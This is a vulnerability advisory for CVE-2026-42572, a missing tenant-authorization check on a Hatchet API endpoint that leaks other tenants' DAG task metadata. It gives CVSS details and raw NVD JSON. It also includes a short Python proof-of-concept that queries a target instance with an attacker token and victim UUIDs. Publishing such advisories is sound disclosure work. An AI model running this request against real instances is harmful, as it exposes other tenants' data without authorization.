Security Vulnerability Report
中文
CVE-2026-42572 CVSS 5.3 MEDIUM

CVE-2026-42572

Published: 2026-05-14 18:16:48
Last Modified: 2026-05-14 18:26:40

Description

Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.83.39, a missing authorization directive on the GET /api/v1/stable/dags/tasks endpoint caused Hatchet's tenant-membership check to be skipped for this route. A user authenticated to any tenant on the same Hatchet instance could query the endpoint with another tenant's UUID and a DAG UUID belonging to that tenant, and receive task metadata for that DAG. This vulnerability is fixed in 0.83.39.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Hatchet < 0.83.39

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # POC for CVE-2026-42572 # Exploit: Missing authorization on /api/v1/stable/dags/tasks # Attacker needs a valid token from ANY tenant on the instance. target_url = "http://target-hatchet-instance.com/api/v1/stable/dags/tasks" attacker_token = "VALID_TOKEN_FROM_ANY_TENANT" # Low privilege user token headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Parameters representing the victim's tenant and DAG params = { "tenant_id": "VICTIM_TENANT_UUID", "dag_id": "VICTIM_DAG_UUID" } response = requests.get(target_url, headers=headers, params=params) if response.status_code == 200: print("Vulnerability Exploited Successfully!") print("Leaked Data:", response.json()) else: print("Exploit Failed. Status Code:", response.status_code)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42572", "sourceIdentifier": "[email protected]", "published": "2026-05-14T18:16:47.943", "lastModified": "2026-05-14T18:26:39.827", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.83.39, a missing authorization directive on the GET /api/v1/stable/dags/tasks endpoint caused Hatchet's tenant-membership check to be skipped for this route. A user authenticated to any tenant on the same Hatchet instance could query the endpoint with another tenant's UUID and a DAG UUID belonging to that tenant, and receive task metadata for that DAG. This vulnerability is fixed in 0.83.39."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}, {"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/hatchet-dev/hatchet/security/advisories/GHSA-55gc-6fmc-fpx9", "source": "[email protected]"}]}}